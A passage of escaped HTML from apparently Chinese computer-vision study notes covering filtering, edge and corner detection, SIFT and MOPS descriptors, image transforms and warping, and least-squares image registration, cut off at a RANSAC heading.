^ { k } H [ u , v ] F [ i + u , j + v ]\u003cbr\u003e$$\u003cbr\u003e记为:\u003cbr\u003e$$\u003cbr\u003eG \u0026#x3D; H \\otimes F\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e高斯滤波\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u0026#x3D;\u0026#x3D;从图像中删除 「高频」分量 (低通滤波器)\u0026#x3D;\u0026#x3D;\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u0026#x3D;\u0026#x3D;高斯核函数\u0026#x3D;\u0026#x3D;:\u003cbr\u003e$$\u003cbr\u003eG _ { \\sigma } \u0026#x3D; \\frac { 1 } { 2 \\pi \\sigma ^ { 2 } } e ^ { - \\frac { \\left( x ^ { 2 } + y ^ { 2 } \\right) } { 2 \\sigma ^ { 2 } } }\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e滤波的应用\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e锐化滤波器:\u003cbr\u003e$$\u003cbr\u003eF + \\alpha (F-F*H)\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e阈值滤波器\u003cbr\u003e$$\u003cbr\u003eg ( m , n ) \u0026#x3D; \\left{ \\begin{array} { c c } { 255 , } \u0026amp; { f ( m , n ) \u0026gt; A } \\ { 0 } \u0026amp; { \\text { otherwise } } \\end{array} \\right.\u003cbr\u003e$$\u003cbr\u003e\u0026#x3D;\u0026#x3D;阈值滤波器不是线性滤波\u0026#x3D;\u0026#x3D;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e相关和卷积的定义和关系\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e高斯核\u003c/p\u003e\u003cul\u003e\u003cli\u003e调节哪个参数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e什么是线性滤波器\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e去燥使用什么滤波\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"边缘检测\"\u003e\u003ca href=\"#边缘检测\" class=\"headerlink\" title=\"边缘检测\"\u003e\u003c/a\u003e边缘检测\u003c/h3\u003e\u003ch4 id=\"边缘的特征\"\u003e\u003ca href=\"#边缘的特征\" class=\"headerlink\" title=\"边缘的特征\"\u003e\u003c/a\u003e边缘的特征\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e怎样通过导数来反映边缘\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e\u0026#x3D;\u0026#x3D;对于图像强度的一阶导数,边缘对应于导数的极值\u0026#x3D;\u0026#x3D;\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e如何计算数字图像的导数?\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e重建连续图像,然后计算导数\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e采用离散导数(有限差分): \u0026#x3D;\u0026#x3D;图像的梯度相当于两个相邻像素之间的差值\u0026#x3D;\u0026#x3D;\u003cbr\u003e$$\u003cbr\u003e\\frac { \\partial f } { \\partial x } [ x , y ] \\approx F [ x + 1 , y ] - F [ x , y ]\u003cbr\u003e$$\u003cbr\u003e可以使用线性滤波器实现\u003c/p\u003e\u003cp\u003e\u0026#x3D;\u0026#x3D;梯度的方向 \u003cstrong\u003e垂直于边缘的方向\u003c/strong\u003e\u0026#x3D;\u0026#x3D;,梯度的方向是 图像函数 f(x,y) 变化最快的方向,当图像中存在边缘时,一定有较大的梯度\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"图像梯度\"\u003e\u003ca href=\"#图像梯度\" class=\"headerlink\" title=\"图像梯度\"\u003e\u003c/a\u003e图像梯度\u003c/h4\u003e\u003cp\u003e图像梯度是图像函数在 x ,y 两个方向的导数,\u003c/p\u003e\u003cp\u003e幅值:\u003cbr\u003e$$\u003cbr\u003e| \\nabla f | \u0026#x3D; \\sqrt { \\left( \\frac { \\partial f } { \\partial x } \\right) ^ { 2 } + \\left( \\frac { \\partial f } { \\partial y } \\right) ^ { 2 } }\u003cbr\u003e$$\u003cbr\u003e方向:\u003cbr\u003e$$\u003cbr\u003e\\theta \u0026#x3D; \\tan ^ { - 1 } \\left( \\frac { \\partial f } { \\partial y } \u0026#x2F; \\frac { \\partial f } { \\partial x } \\right)\u003cbr\u003e$$\u003cbr\u003e\u003cstrong\u003e\u0026#x3D;\u0026#x3D;要计算图像梯度,首先要图像去噪,使用高斯核在图像上卷积,平滑图像\u0026#x3D;\u0026#x3D;\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e可以将两次滤波 (高斯滤波、差分滤波)合成一步实现\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://media.sumblog.cn/blog/20190102/XhVYP5it42Yb.png?imageslim\" alt=\"mark\"\u003e\u003c/p\u003e\u003ch5 id=\"二维边缘检测使用的图像算子:\"\u003e\u003ca href=\"#二维边缘检测使用的图像算子:\" class=\"headerlink\" title=\"二维边缘检测使用的图像算子:\"\u003e\u003c/a\u003e二维边缘检测使用的图像算子:\u003c/h5\u003e\u003col\u003e\u003cli\u003e\u003cp\u003eSobel 算子\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://media.sumblog.cn/blog/20190102/PIUiMGyShLVT.png?imageslim\" alt=\"mark\"\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"非最大抑制\"\u003e\u003ca href=\"#非最大抑制\" class=\"headerlink\" title=\"非最大抑制\"\u003e\u003c/a\u003e非最大抑制\u003c/h4\u003e\u003cp\u003e检查像素是否为\u003cstrong\u003e沿梯度方向的局部最大值\u003c/strong\u003e (需要进行像素差值?)\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e\u003cp\u003e\u0026#x3D;\u0026#x3D;Canny 边缘检测器\u0026#x3D;\u0026#x3D;\u003c/p\u003e\u003col\u003e\u003cli\u003e用高斯导数滤波\u003c/li\u003e\u003cli\u003e获得梯度的幅值和方向\u003c/li\u003e\u003cli\u003e非最大抑制\u003c/li\u003e\u003cli\u003e连接与滞后阈值化:\u003cul\u003e\u003cli\u003e定义高低两个阈值\u003c/li\u003e\u003cli\u003e用\u0026#x3D;\u0026#x3D;高阈值来寻找边缘曲线的起点,用低阈值来确定后继点\u0026#x3D;\u0026#x3D;,进行连接\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003eCanny 边缘检测器的参数:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e$\\sigma:$ 高斯模糊的宽度:大的 $\\sigma$ 可以检测大尺度边缘,$\\sigma$ \u0026#x3D;\u0026#x3D;越小,能检测到的细微边缘就越多\u0026#x3D;\u0026#x3D;\u003c/li\u003e\u003cli\u003e高阈值\u003c/li\u003e\u003cli\u003e低阈值\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e图像的导数\u003c/li\u003e\u003cli\u003e图像的梯度是什么 (两个方向的导数)(复制和方向)\u003c/li\u003e\u003cli\u003e去噪\u003c/li\u003e\u003cli\u003e二维边缘检测\u003cul\u003e\u003cli\u003e列举几个图像算子\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e费最大值抑制\u003c/li\u003e\u003cli\u003e边缘检测器\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"图像的插值和重采样\"\u003e\u003ca href=\"#图像的插值和重采样\" class=\"headerlink\" title=\"图像的插值和重采样\"\u003e\u003c/a\u003e图像的插值和重采样\u003c/h3\u003e\u003ch4 id=\"图像采样\"\u003e\u003ca href=\"#图像采样\" class=\"headerlink\" title=\"图像采样\"\u003e\u003c/a\u003e图像采样\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e采样率\u003c/p\u003e\u003cp\u003e\u0026#x3D;\u0026#x3D;\u003cstrong\u003e奈奎斯特采样率:\u003c/strong\u003e 采样率 \u0026gt;\u0026#x3D; 2*图像中的最大频率\u0026#x3D;\u0026#x3D;\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e若原始图像的频率过高,先对图像滤波,然后子采样\u003c/strong\u003e,构建高斯金字塔\u003c/p\u003e\u003ch4 id=\"图像插值\"\u003e\u003ca href=\"#图像插值\" class=\"headerlink\" title=\"图像插值\"\u003e\u003c/a\u003e图像插值\u003c/h4\u003e\u003cul\u003e\u003cli\u003e最近邻差值:重复 n 次\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e双线性插值\u003c/strong\u003e: 利用输入图像中与输出图像像素点映射位置最邻近的4个像素点的颜色值(或灰度值)计算输出图像中像素点的颜色值(或灰度值)\u003c/li\u003e\u003cli\u003e双三次插值:为了得到更精确的(x’,y’)的颜色值(或灰度值)g(x’,y’),就不仅需要考虑与(x’,y’)点最邻近的四个点对它的影响,还要考虑到该点周围16个相邻点的颜色值(或灰度值)对它的影响。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"角点检测\"\u003e\u003ca href=\"#角点检测\" class=\"headerlink\" title=\"角点检测\"\u003e\u003c/a\u003e角点检测\u003c/h3\u003e\u003cp\u003eHarris 角点检测:将窗口平移,比较平移前后 w 内每个像素的差异平方和(SSD)\u003cbr\u003e$$\u003cbr\u003eE ( u , v ) \u0026#x3D; \\sum _ { ( x , y ) \\in W } [ I ( x + u , y + v ) - I ( x , y ) ] ^ { 2 }\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003e\\begin{aligned} E ( u , v ) \u0026#x3D; \u0026amp; \\sum _ { ( x , y ) \\in W } [ I ( x + u , y + v ) - I ( x , y ) ] ^ { 2 } \\ \\approx \u0026amp; \\sum _ { ( x , y ) \\in W } \\left[ I ( x , y ) + I _ { x } u + I _ { y } v - I ( x , y ) \\right] ^ { 2 } \\ \\approx \u0026amp; \\sum _ { ( x , y ) \\in W } \\left[ I _ { x } u + I _ { y } v \\right] ^ { 2 }\\ \\approx Au^2+2Buv +Cv^2\\ \\end{aligned}\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003eA \u0026#x3D; \\sum _ { ( x , y ) \\in W } I _ { x } ^ { 2 } \\quad B \u0026#x3D; \\sum _ { ( x , y ) \\in W } I _ { x } I _ { y } \\quad C \u0026#x3D; \\sum _ { ( x , y ) \\in W } I _ { y } ^ { 2 }\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e算法实现:\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e计算图像在 X, Y 两个方向的梯度\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e计算两个方向上梯度的乘积\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用高斯函数对 $I_x^2,I_y^2,I_xI_y$ 进行高斯加权,生成矩阵的元素 A,B,C\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e计算每个像素的 Harris 响应值 R, 并对小于某个阈值的 R 置 0\u003cbr\u003e$$\u003cbr\u003eR \u0026#x3D; \\left{ R : \\operatorname { det } M - \\alpha ( \\operatorname { trace } M ) ^ { 2 } \u0026lt; t \\right}\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e在邻域内进行非最大抑制,局部最大值即为图像的角点\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"特征不变性\"\u003e\u003ca href=\"#特征不变性\" class=\"headerlink\" title=\"特征不变性\"\u003e\u003c/a\u003e特征不变性\u003c/h3\u003e\u003cp\u003e我们希望角点的位置对光度变换具有不变性 (图像变换之后,角点位置不变),对几何变换具有协变性 (相应位置检测到同一特征)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e不变性:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e对平移、旋转协变\u003c/li\u003e\u003cli\u003e对强度平移具有不变性,对强度缩放不具有不变性\u003c/li\u003e\u003cli\u003e对缩放不具有不变性\u003cul\u003e\u003cli\u003e需要同时在位置和尺度上查找:自动尺度选择\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e自动尺度选择:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e在高斯金字塔中使用固定大小的窗口,寻找具有局部最大值的尺度\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e斑点检测:\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e斑点是指二维图像中和周围颜色有颜色差异和灰度差异的区域,因为斑点代表的是一个区域,所以其相对于单纯的角点,具有更好的稳定性和更好的抗干扰能力.\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e核函数:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e高斯拉普拉斯:\u003cbr\u003e$$\u003cbr\u003e\\nabla ^ { 2 } g \u0026#x3D; \\frac { \\partial ^ { 2 } g } { \\partial x ^ { 2 } } + \\frac { \\partial ^ { 2 } g } { \\partial y ^ { 2 } }\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e高斯差分函数\u003cbr\u003e$$\u003cbr\u003eD o G \u0026#x3D; G ( x , y , k \\sigma ) - G ( x , y , \\sigma )\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e当 $$\\sigma \u0026#x3D; r\u0026#x2F;\\sqrt{2}$$ 时,响应最大,图像黑白反向时,响应最小,因此将高斯拉普拉斯算子响应达到峰值的 $\\sigma$ 值,称为特征尺度\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e怎么实现特征的不变\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHarris 检测的步骤\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"特征描述与匹配\"\u003e\u003ca href=\"#特征描述与匹配\" class=\"headerlink\" title=\"特征描述与匹配\"\u003e\u003c/a\u003e特征描述与匹配\u003c/h3\u003e\u003ch4 id=\"特征描述符\"\u003e\u003ca href=\"#特征描述符\" class=\"headerlink\" title=\"特征描述符\"\u003e\u003c/a\u003e特征描述符\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eMOPS\u003c/strong\u003e:\u003c/p\u003e\u003col\u003e\u003cli\u003e选取特征点周围 40*40 的方形窗口\u003c/li\u003e\u003cli\u003e缩放到 1\u0026#x2F;5 大小\u003c/li\u003e\u003cli\u003e旋转特征向量方向到水平\u003c/li\u003e\u003cli\u003e在以特征为中心的 8*8 方形窗口内采样\u003c/li\u003e\u003cli\u003e规格化 (强度减去平均值,除以标准差,均值为0,方差为1)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eSIFT:\u003c/strong\u003e尺度不变特征转换\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://media.sumblog.cn/blog/20190102/52PLX111WYbj.png?imageslim\" alt=\"mark\"\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e在所检测的特征周围取 16*16 的窗口\u003c/li\u003e\u003cli\u003e为每个像素计算边缘方向\u003c/li\u003e\u003cli\u003e去除弱的边缘方向(设定阈值)\u003c/li\u003e\u003cli\u003e为剩余边缘方向建立直方图\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"特征匹配\"\u003e\u003ca href=\"#特征匹配\" class=\"headerlink\" title=\"特征匹配\"\u003e\u003c/a\u003e特征匹配\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e特征距离\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e更好的方法:距离比\u003c/p\u003e\u003cp\u003e$f_2$ 是 $f_1$ 在 $I_2$ 中最好的 SSD 匹配,$f_2^\\prime$ 次之\u003cbr\u003e$$\u003cbr\u003e距离比 \u0026#x3D; \\frac{||f_1-f_2||}{||f_1-f_2^\\prime||}\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e测量特征匹配的性能\u003c/p\u003e\u003cul\u003e\u003cli\u003e真正例率(TPR) (召回率) \u0026#x3D; 匹配到的真正例数 \u0026#x2F; 所有真正例数\u003c/li\u003e\u003cli\u003e假正例率 (FPR) \u0026#x3D; 匹配到的假正例数\u0026#x2F;所有真正例数\u003c/li\u003e\u003cli\u003eROC 曲线:以 FPR 为横轴,TPR 为纵轴\u003c/li\u003e\u003cli\u003eAUC:曲线下的面积,越大越好\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"变换与卷绕\"\u003e\u003ca href=\"#变换与卷绕\" class=\"headerlink\" title=\"变换与卷绕\"\u003e\u003c/a\u003e变换与卷绕\u003c/h3\u003e\u003cp\u003e什么是图像卷绕:\u003cstrong\u003e更改图像的定义域\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e常见的变换\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e平移\u003c/li\u003e\u003cli\u003e欧式变换:平移+旋转\u003c/li\u003e\u003cli\u003e相似变换:平移+旋转+等比放缩\u003c/li\u003e\u003cli\u003e仿射变换:平移+旋转+等比放缩+剪切\u003c/li\u003e\u003cli\u003e投影变换:原来平行的线不再平行,但还是保持直线性\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"线性变换\"\u003e\u003ca href=\"#线性变换\" class=\"headerlink\" title=\"线性变换\"\u003e\u003c/a\u003e线性变换\u003c/h4\u003e\u003cul\u003e\u003cli\u003e等比缩放: 比例S\u003c/li\u003e\u003cli\u003e旋转角度 \u003c/li\u003e\u003cli\u003e剪切\u003c/li\u003e\u003cli\u003e镜像\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e线性变换的性质\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e原点到原点\u003c/p\u003e\u003cp\u003e直线到直线\u003c/p\u003e\u003cp\u003e平行线保持平行\u003c/p\u003e\u003cp\u003e比率被保持\u003c/p\u003e\u003cp\u003e线性变换的组合是线性变换\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e平移不是 2D 坐标上的线性变换,我们需要 \u003cstrong\u003e添加一个坐标\u003c/strong\u003e -\u0026gt; \u003cstrong\u003e齐次坐标\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"仿射变换\"\u003e\u003ca href=\"#仿射变换\" class=\"headerlink\" title=\"仿射变换\"\u003e\u003c/a\u003e仿射变换\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e任何最后一行 为 [0,0,1] 的 3·3 矩阵表示的转换称为仿射变换\u003c/strong\u003e,\u003cstrong\u003e仿射变换是线性变换和平移的组合\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e变换完成后,平面位置不变\u003c/p\u003e\u003cp\u003e基本的仿射变换:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e平移、缩放、2D 平面旋转、剪切\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://media.sumblog.cn/blog/20190105/Je0CygVwaYrM.png?imageslim\" alt=\"mark\"\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e仿射变换是线性变换 + 平移\u003c/strong\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e性质\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e原点不一定到原点\u003c/li\u003e\u003cli\u003e直线到直线\u003c/li\u003e\u003cli\u003e平行还平行\u003c/li\u003e\u003cli\u003e保持比率\u003c/li\u003e\u003cli\u003e闭包\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"透视变换、投影变换、同态映射\"\u003e\u003ca href=\"#透视变换、投影变换、同态映射\" class=\"headerlink\" title=\"透视变换、投影变换、同态映射\"\u003e\u003c/a\u003e透视变换、投影变换、同态映射\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e最后一元素固定为1 ,共有8个参数, \u003cstrong\u003e是成像平面的变换\u003c/strong\u003e,仿射变换是特例\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e原点不一定映射到原点\u003c/li\u003e\u003cli\u003e平行线不一定保持平行\u003c/li\u003e\u003cli\u003e不保持比率\u003c/li\u003e\u003cli\u003e闭包\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"卷绕\"\u003e\u003ca href=\"#卷绕\" class=\"headerlink\" title=\"卷绕\"\u003e\u003c/a\u003e卷绕\u003c/h4\u003e\u003cp\u003e卷绕有两种:\u003c/p\u003e\u003col\u003e\u003cli\u003e前向卷绕\u003c/li\u003e\u003cli\u003e反向卷绕\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e变换后的像素位置如果不是整数: \u003cstrong\u003e将像素值分配给四个最近邻,记录每个点的权重并在最后归一化\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e效果:混叠与模糊\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e反向卷绕\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e先获取每个像素在原图像中对应的位置处的像素值 (逆变换)\u003c/p\u003e\u003cp\u003e如果像素位置不是整数,利用原来相邻像素值插值\u003c/p\u003e\u003cul\u003e\u003cli\u003e可能的插值滤波器\u003cul\u003e\u003cli\u003e最近邻\u003c/li\u003e\u003cli\u003e双线性\u003c/li\u003e\u003cli\u003e双三次\u003c/li\u003e\u003cli\u003e窗 sinc\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e需要防止锯齿和混叠(需要预先滤波)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e变换有哪几种\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e卷绕有两种\u003c/p\u003e\u003cp\u003e卷绕之后产生了非整数值怎么办\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e常见的变换\u003c/p\u003e\u003cul\u003e\u003cli\u003e旋转\u003c/li\u003e\u003cli\u003e平移\u003c/li\u003e\u003cli\u003e基本仿射变换\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e仿射变换的含义是什么\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"图像配准\"\u003e\u003ca href=\"#图像配准\" class=\"headerlink\" title=\"图像配准\"\u003e\u003c/a\u003e图像配准\u003c/h3\u003e\u003cp\u003e配准算法的流程,怎么实现\u003c/p\u003e\u003cul\u003e\u003cli\u003e特征提取\u003c/li\u003e\u003cli\u003e匹配\u003c/li\u003e\u003cli\u003e反向变换\u003c/li\u003e\u003cli\u003e插值\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e优化方式\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e最小二乘法\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"图像配准算法\"\u003e\u003ca href=\"#图像配准算法\" class=\"headerlink\" title=\"图像配准算法\"\u003e\u003c/a\u003e图像配准算法\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e给定图像 A 和 B\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e计算 A、B 的图像特征\u003c/li\u003e\u003cli\u003e匹配 A、B 之间的特征\u003c/li\u003e\u003cli\u003e使用匹配集计算 A 到 B 的单应映射矩阵的最小二乘解\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"最小化残差平方和\"\u003e\u003ca href=\"#最小化残差平方和\" class=\"headerlink\" title=\"最小化残差平方和\"\u003e\u003c/a\u003e最小化残差平方和\u003c/h4\u003e\u003cp\u003e定义残差:\u003cbr\u003e$$\u003cbr\u003e\\begin{array} { l } { r _ { \\mathbf { x } _ { i } } \\left( \\mathbf { x } _ { t } \\right) \u0026#x3D; \\left( \\mathbf { x } _ { i } + \\mathbf { x } _ { t } \\right) - \\mathbf { x } _ { i } ^ { \\prime } } \\ { r _ { \\mathbf { y } _ { i } } \\left( \\mathbf { y } _ { t } \\right) \u0026#x3D; \\left( \\mathbf { y } _ { i } + \\mathbf { y } _ { t } \\right) - \\mathbf { y } _ { i } ^ { \\prime } } \\end{array}\u003cbr\u003e$$\u003cbr\u003e将 n 个点形成的 2n 个方程写成矩阵方程:\u003cbr\u003e$$\u003cbr\u003e\\left[ \\begin{array} { l l } { 1 } \u0026amp; { 0 } \\ { 0 } \u0026amp; { 1 } \\ { 1 } \u0026amp; { 0 } \\ { 0 } \u0026amp; { 1 } \\ { 0 } \u0026amp; { 1 } \\ { \\vdots } \\ { 1 } \u0026amp; { 0 } \\ { 0 } \u0026amp; { 1 } \\end{array} \\right] \\left[ \\begin{array} { l } { x _ { t } } \\ { y _ { t } } \\end{array} \\right] \u0026#x3D; \\left[ \\begin{array} { c } { x _ { 1 } ^ { \\prime } - x _ { 1 } } \\ { y _ { 1 } ^ { \\prime } - y _ { 1 } } \\ { x _ { 1 } ^ { \\prime } - x _ { 2 } } \\ { y _ { 2 } ^ { \\prime } - y _ { 2 } } \\ { \\vdots } \\ { x _ { n } ^ { \\prime } - x _ { n } } \\ { y _ { n } ^ { \\prime } - y _ { n } } \\end{array} \\right]\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003eAt \u0026#x3D;b\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e找到 t ,最大限度的减少\u003cbr\u003e$$\u003cbr\u003e| \\mathbf { A } \\mathbf { t } - \\mathbf { b } | ^ { 2 }\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003e\\begin{array} { c } { \\mathbf { A } ^ { \\mathrm { T } } \\mathbf { A } \\mathbf { t } \u0026#x3D; \\mathbf { A } ^ { \\mathrm { T } } \\mathbf { b } } \\ { \\mathbf { t } \u0026#x3D; \\left( \\mathbf { A } ^ { \\mathrm { T } } \\mathbf { A } \\right) ^ { - 1 } \\mathbf { A } ^ { \\mathrm { T } } \\mathbf { b } } \\end{array}\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e对于仿射变换:\u003cbr\u003e$$\u003cbr\u003e\\left[ \\begin{array} { l } { x ^ { \\prime } } \\ { y ^ { \\prime } } \\ { 1 } \\end{array} \\right] \u0026#x3D; \\left[ \\begin{array} { l l l } { a } \u0026amp; { b } \u0026amp; { c } \\ { d } \u0026amp; { e } \u0026amp; { f } \\ { 0 } \u0026amp; { 0 } \u0026amp; { 1 } \\end{array} \\right] \\left[ \\begin{array} { l } { x } \\ { y } \\ { 1 } \\end{array} \\right]\u003cbr\u003e$$\u003cbr\u003e有六个未知数,每个匹配有两个方程,我们需要三个匹配\u003c/p\u003e\u003cp\u003e残差:\u003cbr\u003e$$\u003cbr\u003e\\begin{aligned} r _ { x _ { i } } ( a , b , c , d , e , f ) \u0026amp; \u0026#x3D; \\left( a x _ { i } + b y _ { i } + c \\right) - x _ { i } ^ { \\prime } \\ r _ { y _ { i } } ( a , b , c , d , e , f ) \u0026amp; \u0026#x3D; \\left( d x _ { i } + e y _ { i } + f \\right) - y _ { i } ^ { \\prime } \\end{aligned}\u003cbr\u003e$$\u003cbr\u003e对于同态映射(透视变换)\u003cbr\u003e$$\u003cbr\u003e\\left[ \\begin{array} { c } { x _ { i } ^ { \\prime } } \\ { y _ { i } ^ { \\prime } } \\ { 1 } \\end{array} \\right] \\cong \\left[ \\begin{array} { l l l } { h _ { 00 } } \u0026amp; { h _ { 01 } } \u0026amp; { h _ { 02 } } \\ { h _ { 10 } } \u0026amp; { h _ { 11 } } \u0026amp; { h _ { 12 } } \\ { h _ { 20 } } \u0026amp; { h _ { 21 } } \u0026amp; { h _ { 22 } } \\end{array} \\right] \\left[ \\begin{array} { c } { x _ { i } } \\ { y _ { i } } \\ { 1 } \\end{array} \\right]\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003e\\begin{aligned} x _ { i } ^ { \\prime } \\left( h _ { 20 } x _ { i } + h _ { 21 } y _ { i } + h _ { 22 } \\right) \u0026amp; \u0026#x3D; h _ { 00 } x _ { i } + h _ { 01 } y _ { i } + h _ { 02 } \\ y _ { i } ^ { \\prime } \\left( h _ { 20 } x _ { i } + h _ { 21 } y _ { i } + h _ { 22 } \\right) \u0026amp; \u0026#x3D; h _ { 10 } x _ { i } + h _ { 11 } y _ { i } + h _ { 12 } \\end{aligned}\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://media.sumblog.cn/blog/20190105/LyDbpPwVzvUz.png?imageslim\" alt=\"mark\"\u003e\u003c/p\u003e\u003cp\u003eAh \u0026#x3D; 0 的非平凡最小二乘解,即为 $A^TA$ 具有最小特征值的特征向量\u003c/p\u003e\u003ch3 id=\"RANSAC-随机抽样一致\"\u003e\u003ca href=\"#RANSAC-随机抽样一致\" class=\"headerlink\" title=\"RANSAC 